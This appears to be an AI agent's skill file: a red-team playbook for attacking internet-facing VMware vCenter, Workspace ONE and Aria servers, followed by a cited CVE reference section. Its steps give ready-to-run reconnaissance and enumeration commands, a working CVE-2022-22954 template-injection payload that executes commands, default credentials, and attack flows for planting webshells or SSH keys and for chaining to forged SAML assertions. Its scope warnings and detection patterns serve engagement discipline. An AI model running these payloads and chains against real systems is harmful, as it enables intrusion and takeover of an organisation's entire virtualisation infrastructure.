vmware-vcenter-attack

When to use

Trigger when external recon shows ANY of:

Banner: "VMware vCenter Server", "VMware vSphere Client"

URL paths:

/ui

/ui/login

/websso/SAML2/Metadata

/sdk

/mob

(Managed Object Browser)

TLS cert SAN includes
```
vcenter
```
/
```
vsphere
```
/
```
vcsa
```
/
```
psc
```
/
```
vmware
```
Workspace ONE Access / Identity Manager:
```
/SAAS
```
,
```
/SAAS/auth
```
,
```
/SAAS/login
```
,
```
/SAAS/horizon
```

VMware Aria / vRealize:

/vco

/vco-controlcenter

/orchestrator

/lcm/api/v1

Horizon View:
```
/portal
```
,
```
/admin
```

Do NOT use for:

Internal-network vCenter (out of scope — external boundary discipline)
Pure ESXi hypervisor exposed without management plane (rare on internet; flag as separate finding)

Step 1 — Version fingerprinting

bash

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

Map build → version → CVE applicability via VMware advisories (vmware.com/security/advisories).

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

CVE	Affected	Vector	Status
CVE-2024-37085	ESXi 7.0/8.0 < specific patch	AD group "ESX Admins" auto-admin bypass	High — Domain takeover→ESXi RCE, exploited in ransomware ops
CVE-2024-22273	ESXi/Workstation/Fusion/vCenter storage controller	OOB read/write — requires VM-local access (NOT a pre-auth network SSRF; see Section 9)	Important (CVSS 8.1), not external pre-auth
CVE-2024-22252/53	Workstation/Fusion (not vCenter)	Sandbox escape	Not external
CVE-2023-34048	vCenter 7/8 < specific build	DCE/RPC pre-auth heap OOB write → RCE	Critical, patched 2023-10
CVE-2023-20887	Aria Operations for Networks	Pre-auth command injection → RCE	Critical
CVE-2023-20892	vCenter 7/8	Use-after-free in DCE/RPC	High
CVE-2022-31656/31659	Workspace ONE Access 21.x	Pre-auth SSRF + auth bypass	Critical chained
CVE-2022-22954	Workspace ONE Access	Pre-auth server-side template injection (SSTI) → RCE	Critical, widely exploited
CVE-2021-22005	vCenter 6.7/7.0 < build	Analytics service pre-auth file upload → RCE	Critical
CVE-2021-21985	vCenter 6.5/6.7/7.0 < build	vSAN Health Check plugin pre-auth RCE	Critical
CVE-2021-21972	vCenter 6.5/6.7/7.0 < build	vRealize plugin `/ui/vropspluginui/rest/services/uploadova` pre-auth file upload → RCE	Critical, exploited heavily
CVE-2020-3992	ESXi OpenSLP	Pre-auth use-after-free → RCE	Critical, ESXi ransomware vector
CVE-2019-5544	ESXi OpenSLP	Pre-auth heap overflow	Critical

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

bash

# Detection only — DO NOT execute the file upload without explicit scope OK
curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

Public PoC by Mikhail Klyuchnikov exists; do not execute against client infra without explicit RCE-attempt sign-off.

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

bash

# Stage A — detection only: reachability + baseline. No command execution yet.
curl -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

Confirmed RCE requires the unique

$CANARY

reflected in-band plus

uid=

output not present in the Stage-A baseline → critical. Stop and report. A bare

uid=

with no canary echo is NOT confirmation.

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

Product	Default user	Default password
vCenter 6.x	`administrator@vsphere.local`	`<set-during-install>`
vCenter Appliance root	`root`	`vmware` (legacy) or `<set>`
ESXi root	`root`	`<blank>` or `vmware`
vCenter Server Appliance Mgmt (5480)	`root`	`<set-during-install>`
Aria Operations	`admin`	`vmware` (legacy)
Workspace ONE	`admin`	`<set>`

⚠ Do not spray vCenter —
administrator@vsphere.local
has VERY low lockout threshold (often 3 attempts → 60s lockout, configurable to permanent). One attempt with high-confidence guess only. Use creds discovered in breach corpora.

Step 6 — SSO / vmdir LDAP enumeration

bash

# SSO Admin endpoint (frequently exposes domain info)
curl -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

Step 7 — Managed Object Browser (MOB) — frequently leaks data

bash

curl -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl -sk -u 'administrator@vsphere.local:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

Step 8 — vSphere REST API enumeration (post-cred)

bash

# Get session token
curl -sk -X POST -u 'user@vsphere.local:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

Step 9 — Workspace ONE Access specific paths

bash

# Metadata
curl -sk "https://$TARGET/SAAS/auth/saml/response"
curl -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl -sk "https://$TARGET/SAAS/login/0"

Step 10 — Aria / vRealize specific paths

bash

# vRealize Operations Manager
curl -sk "https://$TARGET/suite-api/api/versions"
curl -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl -sk "https://$TARGET/csp/gateway/am/api/about"
curl -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl -sk "https://$TARGET/vco/api/about"
curl -sk "https://$TARGET/vco-controlcenter/api/health"

Tooling

vCenter-Exploit
collection (multiple PoCs on GitHub for 21972, 21985, 22005)
Greenbone/openvas-scanner
VMware NASL plugins — version detection

nuclei
templates:

vmware-vcenter-*.yaml

cve-2021-21972.yaml

cve-2022-22954.yaml

Metasploit
modules:

exploit/multi/http/vmware_vcenter_*

Detection patterns (what defenders/SOC will see)

Excessive 404s on
```
/ui/vropspluginui/*
```
— IDS signature
POST to
```
/sdk
```
from non-management IP
```
administrator@vsphere.local
```
auth failures
TLS handshake fingerprint changes
Plugin upload to vRealize endpoint

Pair with

mid-engagement-ir-detection

skill — vCenter is monitored heavily in mature SOCs.

External-only boundary check

If recon reveals vCenter only via VPN (not direct internet) → STOP. That is internal infrastructure and outside the external-only AI scope per

feedback_skill_boundaries

. The user handles internal vCenter work directly.

Internet-exposed vCenter is unfortunately common on the perimeter — and frequently outdated by years. The 2021-21972 / 21985 / 22954 trifecta still pays in 2026 because patching cycles for hypervisor management are slow and vendor-managed.

Severity scoring guidance (red-team deliverable context)

Finding	Severity
vCenter on internet, current patch	Informational (attack surface note)
vCenter on internet, missing patches with public RCE	Critical (entire virtualization plane compromise)
vCenter on internet + default admin password	Critical (immediate full takeover)
Workspace ONE on internet, unpatched 22954	Critical
MOB anonymously accessible	High (full topology disclosure)
/sdk reachable + version disclosure only	Medium (info disclosure + attack-surface concentration)

Anti-patterns

DO NOT spray vCenter SSO — lockout is aggressive; one chance often
DO NOT execute file-upload PoCs without explicit OK — they create persistent webshells; cleanup overhead and audit trail
DO NOT confuse ESXi-management-on-internet with vCenter — different attack surfaces; ESXi Open SLP CVEs target port 427
DO NOT skip SSL handshake banner check — VMware exposes versions there; this is the lowest-noise initial probe

Bridge to neighboring skills

```
enterprise-vpn-attack
```
— vCenter is frequently the post-VPN target; if VPN is breached, vCenter is the natural next pivot (but internal — defer to user)
```
m365-entra-attack
```
— vCenter SSO sometimes federated to Entra; cred-chain bridging
```
mid-engagement-ir-detection
```
— vCenter monitoring is sensitive; expect mid-engagement mitigations
```
redteam-report-template
```
— vCenter findings need clear blast-radius framing (this is the virtualization plane, not just an app)

Related Skills & Chains

hunt-saml
— vCenter Workspace ONE / VMware Identity Manager publishes SAML SP metadata at
```
/SAAS/API/1.0/GET/metadata/idp.xml
```
and consumes assertions at predictable ACS URLs. Chain primitive: vCenter SAML SP metadata reachable → IdP fingerprinted →
```
hunt-saml
```
XSW1-XSW8 against the federating IdP → forged assertion with
```
userPrincipalName=administrator@vsphere.local
```
→ SP-impersonation as vCenter admin → full virtualization-plane takeover.
hunt-rce
— VMware's high-impact CVE catalog (CVE-2021-21972, CVE-2021-21985, CVE-2022-22954, CVE-2023-20887) is almost entirely pre-auth RCE. Chain primitive: vCenter version fingerprint via SSL banner or
```
/ui/login
```
body → confirm patch level missing →
```
hunt-rce
```
deserialization/SSTI gadget from the matching CVE PoC →
```
root
```
on vCenter appliance → API-token mint → cluster-wide VM control.
enterprise-vpn-attack
— VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits,
```
vmware-vcenter-attack
```
becomes reachable on internal-only vCenter → datacenter takeover.
m365-entra-attack
— Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to
```
login.microsoftonline.com
```
→
```
m365-entra-attack
```
Entra ATO on
```
administrator@vsphere.local
```
synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
mid-engagement-ir-detection
— VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run
```
mid-engagement-ir-detection
```
baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via
```
redteam-report-template
```
.

Disclosed CVEs & coordinated-disclosure citations

These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.

1. CVE-2021-21972 — vCenter

vropspluginui

unauthenticated arbitrary file upload (canonical pre-auth RCE)

Affected: vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
Attack flow: Unauth POST to
```
/ui/vropspluginui/rest/services/uploadova
```
with a tar/OVA containing a path-traversal entry. On Windows write
```
webshell.jsp
```
under the vsphere-ui webroot for SYSTEM; on Linux drop
```
authorized_keys
```
under
```
/home/vsphere-ui/.ssh/
```
and SSH in.
Root cause: Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the
```
uploadova
```
handler did not sanitize archive entry paths.
Disclosure: Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. CISA KEV: added 2021-11-03. Year discovered 2020, patched 2021.
References: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

Affected: vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
Attack flow: Unauthenticated abuse of
```
ProxygenController
```
in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as
```
vsphere-ui
```
→ command execution.
Root cause: Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
Disclosure: Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
References: https://www.vmware.com/security/advisories/VMSA-2021-0010.html ; https://noahblog.360.cn/vcenter-server-rce/ (Ricter Z writeup) ; https://www.rapid7.com/db/modules/exploit/linux/http/vmware_vcenter_vsan_health_rce/ ; https://www.bleepingcomputer.com/news/security/vmware-warns-of-critical-bug-affecting-all-vcenter-server-installs/

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

Affected: vCenter Server 6.7 < 6.7 U3o, 7.0 < 7.0 U2d. Cloud Foundation 3.x/4.x bundled vCenter.
Attack flow: Unauth POST to the Analytics endpoint on port 443 (
```
/analytics/telemetry/ph/api/hyper/send
```
) writes attacker-controlled file outside the intended directory; chained with subsequent service abuse to reach RCE as the vCenter service account.
Root cause: Analytics/CEIP endpoint did not authenticate file uploads and did not validate target path.
Disclosure: VMware advisory VMSA-2021-0020 published 2021-09-21. Working PoC by @testanull / @wvu released within ~72h; CISA issued an emergency alert 2021-09-24. CISA KEV: added 2021-11-03. Year discovered 2021, patched 2021.
References: https://www.vmware.com/security/advisories/VMSA-2021-0020.html ; https://www.cisa.gov/news-events/alerts/2021/09/24/vmware-vcenter-server-vulnerability-cve-2021-22005-under-active-exploit ; https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/ ; https://www.bleepingcomputer.com/news/security/working-exploit-released-for-vmware-vcenter-cve-2021-22005-bug/

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

Affected: Workspace ONE Access 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0; Identity Manager 3.3.3 → 3.3.6; vRealize Automation 7.6.
Attack flow: Unauth GET to
```
/catalog-portal/ui/oauth/verify?deviceUdid=${...}
```
injects a FreeMarker template;
```
freemarker.template.utility.Execute
```
runs OS commands as the
```
horizon
```
service account. Single-request RCE.
Root cause: Catalog-portal endpoint passed attacker-controlled query parameter into FreeMarker render without sandboxing the Execute utility.
Disclosure: Reported by Steven Seeley (mr_me) of Source Incite; VMware advisory VMSA-2022-0011 published 2022-04-06. PoCs public within 48h; widespread mass-exploitation followed. CISA KEV: added 2022-04-14. CISA AA22-138B (May 2022) documents IR engagements at "large organizations" exploited via this CVE. Year discovered 2022, patched 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0011.html ; https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-138b ; https://srcincite.io/blog/2022/04/19/cve-2022-22954-vmware-workspace-one-access-pre-auth-rce.html ; https://www.crowdsec.net/blog/new-surge-in-vmware-cve-2022-22954-exploit-attempts

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

Affected: Workspace ONE Access 21.08.0.1; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6 (and downstream Cloud Foundation bundles).
Attack flow: Manipulate the HTTP
```
Host
```
header during local-domain login flow; the server routes its internal validation request to the attacker-controlled hostname → returns admin session without legitimate credentials.
Root cause: Host header used unvalidated as the target for the internal auth-validation request — classic SSRF-into-self with trust elevation.
Disclosure: Reported by Bruno López of Innotec Security; VMware advisory VMSA-2022-0014 published 2022-05-18. CISA Emergency Directive 22-03 (2022-05-18) ordered all U.S. federal civilian agencies to patch or remove affected VMware installations by 2022-05-24 — the same agencies that had just been told the same thing for CVE-2022-22954 six weeks earlier. Year discovered 2022, patched 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0014.html ; https://www.cisa.gov/news-events/directives/ed-22-03-mitigate-vmware-vulnerabilities ; https://www.rapid7.com/blog/post/2022/05/19/cve-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/ ; https://www.assetnote.io/resources/research/understanding-cve-2022-22972-vmware-workspace-one-access-auth-bypass

6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE

Affected: Aria Operations for Networks (formerly vRealize Network Insight / vRNI) 6.2 through 6.10.
Attack flow: Two-issue chain — (a) reach the Apache Thrift endpoint exposed on the management interface despite no authentication, (b) inject shell metacharacters into a parameter passed to a
```
bash -c
```
invocation. Single unauth POST → root.
Root cause: Thrift RPC endpoint exposed without auth + downstream shell-string composition with user input.
Disclosure: Reported by Sina Kheirkhah (@SinSinology) of Summoning Team to ZDI; advisory VMSA-2023-0012 published 2023-06-07. Public PoC released same week. CISA KEV: added 2023-06-22 after observed in-the-wild exploitation. Year discovered 2023, patched 2023.
References: https://www.vmware.com/security/advisories/VMSA-2023-0012.html ; https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/ ; https://blogs.juniper.net/en-us/threat-research/cve-2023-20887-vmware-aria-operations-for-networks-unauthenticated-remote-code-execution ; https://github.com/sinsinology/CVE-2023-20887

7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)

Affected: vCenter Server 7.0 < 7.0 U3o, 8.0 < 8.0 U1d/U2b; VMware Cloud Foundation bundles.
Attack flow: Unauthenticated network actor sends a crafted DCE/RPC packet to the vmdir/vmafd service → out-of-bounds write in the DCE/RPC protocol implementation → memory corruption → code execution. Forensic tell:
```
vmdird
```
crashes shortly before backdoor deployment.
Root cause: OOB write in DCE/RPC marshalling layer of vCenter management services.
Disclosure: Reported by Grigory Dorodnov of Trend Micro ZDI (publication ZDI-23-1623, suggesting a paid ZDI submission — bounty undisclosed). Advisory VMSA-2023-23 published 2023-10-24. Mandiant later attributed in-the-wild exploitation to UNC3886 (China-nexus espionage) since late 2021 — a ~1.5-year zero-day window before patch. CISA KEV: added 2024-01-22. Year discovered 2023 (patched), exploited since 2021.
References: https://www.vmware.com/security/advisories/VMSA-2023-0023.html ; https://www.zerodayinitiative.com/advisories/ZDI-23-1623/ ; https://cloud.google.com/blog/topics/threat-intelligence/chinese-vmware-exploitation-since-2021/ (Mandiant) ; https://www.bleepingcomputer.com/news/security/chinese-hackers-exploit-vmware-bug-as-zero-day-for-two-years/

8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)

Affected: ESXi 7.0 < ESXi70U3q-24585291, ESXi 8.0 < ESXi80U3-24022510; vCenter-managed clusters where ESXi is joined to AD.
Attack flow: Attacker with sufficient AD rights creates (or re-creates after deletion) a group literally named
```
ESX Admins
```
and adds an account. ESXi auto-grants every member full admin rights without checking that the group existed at join time. End-to-end: AD foothold → group create → SSH/API root on every domain-joined ESXi host → mass VM encryption.
Root cause: Hard-coded trust of group name
```
ESX Admins
```
with no domain-scoped identity validation.
Disclosure: Reported by Microsoft Threat Intelligence; advisory VMSA-2024-0013 published 2024-06-25. Microsoft Security Blog documents pre-patch exploitation by Storm-0506 (Black Basta), Storm-1175, Octo Tempest, and Manatee Tempest ransomware operators — including a confirmed Black Basta deployment at a North American engineering firm. CISA KEV: added 2024-07-30. Year discovered 2024 (exploited as 0-day), patched 2024.
References: https://www.vmware.com/security/advisories/VMSA-2024-0013.html ; https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ; https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ; https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html

9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write

Note on the original ticket: This CVE was listed in the brief as "Aria SSRF," but the actual NVD record describes an ESXi/vCenter storage controller out-of-bounds read/write, not an Aria SSRF. The closest Aria SSRF-adjacent issue in the 2024 cycle is CVE-2023-34063 (VMSA-2024-0001) — Aria Automation missing access control allowing authenticated cross-org access; CVSSv3 9.9. Both are cited so the matrix is technically accurate.
Affected (CVE-2024-22273): ESXi 7.0/8.0, Workstation 17.x, Fusion 13.x. vCenter Server packaged variants. Requires VM-local access with storage controllers enabled.
Attack flow: VM with storage controllers enabled can issue crafted I/O to trigger OOB read/write on the host → information disclosure or DoS of the host (escape not directly demonstrated). CVSS 8.1 (Important).
Root cause: Missing bounds check in the storage controller emulation path.
Disclosure: Reported by Hao Zheng (@zhz) and Jiaqing Huang (@s0duku) of TianGong Team, Legendsec @ Qi'anxin Group. Advisory VMSA-2024-0011 published 2024-05-21. Year discovered 2024, patched 2024.
References: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ; https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ; https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
Aria-specific companion — CVE-2023-34063 (VMSA-2024-0001): Aria Automation 8.11.x–8.14.x missing access control — authenticated actor obtains unauthorized cross-organization access to remote workflows. CVSSv3 9.9. Patched in Aria Automation 8.16. References: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ; https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation

10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)

Affected: ESXi 6.5, 6.7, 7.0 prior to the OpenSLP patches (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). OpenSLP service on TCP/427.
Attack flow: Unauth attacker sends a crafted SLP packet to port 427 → memory corruption in the SLP daemon → code execution as root on the hypervisor. CVE-2020-3992 is the use-after-free (VMSA-2020-0023); CVE-2021-21974 is the heap-overflow variant (VMSA-2021-0002, same release wave as 21972).
Root cause: OpenSLP daemon — long-deprecated, exposed by default until 2021 — has unsafe parsing of SLP message frames.
Disclosure: CVE-2020-3992 reported by Lucas Leong of Trend Micro ZDI (ZDI-20-1376, paid ZDI submission). CVE-2021-21974 reported by Lucas Leong of Trend Micro ZDI as well. CISA KEV: CVE-2020-3992 added 2021-11-03; CVE-2021-21974 added 2023-02-08. ESXiArgs ransomware campaign (Feb 2023) hit ~3,800 internet-exposed hosts via CVE-2021-21974 — two years after patch was available. VMware disabled SLP by default in subsequent releases. Year discovered 2020/2021, patched 2020/2021, mass-exploited 2023.
References: https://www.vmware.com/security/advisories/VMSA-2020-0023.html ; https://www.vmware.com/security/advisories/VMSA-2021-0002.html ; https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ; https://www.cisa.gov/known-exploited-vulnerabilities-catalog ; https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ; https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers

Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)

Affected: Same product matrix as 22954/22972. Workspace ONE Access 21.08.x; Identity Manager 3.3.3–3.3.6; vRealize Automation 7.6.
Attack flow: Network-only actor obtains admin without authenticating; chained with CVE-2022-31659 (auth'd RCE) the pair yields pre-auth admin RCE — the spiritual successor to the 22954+22972 pair.
Root cause: Local-domain auth flow trusted a parameter that could be supplied without prior auth.
Disclosure: Reported by PetrusViet of VNG Security; advisory VMSA-2022-0021 published 2022-08-02. PetrusViet released chain writeup + PoC. Year 2022.
References: https://www.vmware.com/security/advisories/VMSA-2022-0021.html ; https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ; https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656

Key meta-references (cross-CVE)

CISA KEV catalog (VMware filter): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — VMware is one of the most-represented vendors; cross-check any vCenter/ESXi/Workspace finding here before grading severity.
Broadcom (formerly VMware) advisories index: https://support.broadcom.com/security-advisories (legacy https://www.vmware.com/security/advisories.html). Search by VMSA-YYYY-NNNN.
ZDI published advisories: https://www.zerodayinitiative.com/advisories/published/ — filter "VMware" for the canonical paid-bounty disclosures (CVE-2020-3992, CVE-2023-34048, multiple Aria Operations and vRNI).
Mandiant UNC3886 reporting: Google Cloud Threat Intelligence has the deepest published forensic trail on long-tail vCenter zero-day exploitation. Pair with the
```
mid-engagement-ir-detection
```
skill when working a target where vCenter is reachable.

The pattern across every entry above: VMware management-plane CVEs are pre-auth, network-reachable, and mass-exploited within days of patch. When external recon surfaces any of these products at a current-minus-one patch level, that is a Critical finding worth a same-day callout in the deliverable — not a Medium info-disclosure.

vmware-vcenter-attack

NPX Install

Tags

SKILL.md Content

When to use

Step 1 — Version fingerprinting

Step 2 — CVE matrix (external-exploitable, sorted by historical impact)

Step 3 — CVE-2021-21972 probe (still common on stale appliances)

Step 4 — CVE-2022-22954 (Workspace ONE SSTI) probe

Step 5 — Default credentials (frequently still valid on lab/staging vCenters)

Step 6 — SSO / vmdir LDAP enumeration

Step 7 — Managed Object Browser (MOB) — frequently leaks data

Step 8 — vSphere REST API enumeration (post-cred)

Step 9 — Workspace ONE Access specific paths

Step 10 — Aria / vRealize specific paths

Tooling

Detection patterns (what defenders/SOC will see)

External-only boundary check

Severity scoring guidance (red-team deliverable context)

Anti-patterns

Bridge to neighboring skills

Related Skills & Chains

Disclosed CVEs & coordinated-disclosure citations

1. CVE-2021-21972 — vCenter
`vropspluginui`
unauthenticated arbitrary file upload (canonical pre-auth RCE)

2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE

3. CVE-2021-22005 — vCenter Analytics service arbitrary file upload → RCE

4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE

5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host-header authentication bypass

6. CVE-2023-20887 — VMware Aria Operations for Networks (vRealize Network Insight) pre-auth command injection → RCE

7. CVE-2023-34048 — vCenter Server DCERPC pre-auth out-of-bounds write → RCE (APT-exploited zero-day)

8. CVE-2024-37085 — ESXi Active Directory integration "ESX Admins" auth bypass (ransomware-favorite)

9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter storage controller OOB read/write

10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP pre-auth use-after-free / heap overflow (ESXiArgs ransomware vector)

Bonus: CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation auth bypass (post-22972 follow-up)

Key meta-references (cross-CVE)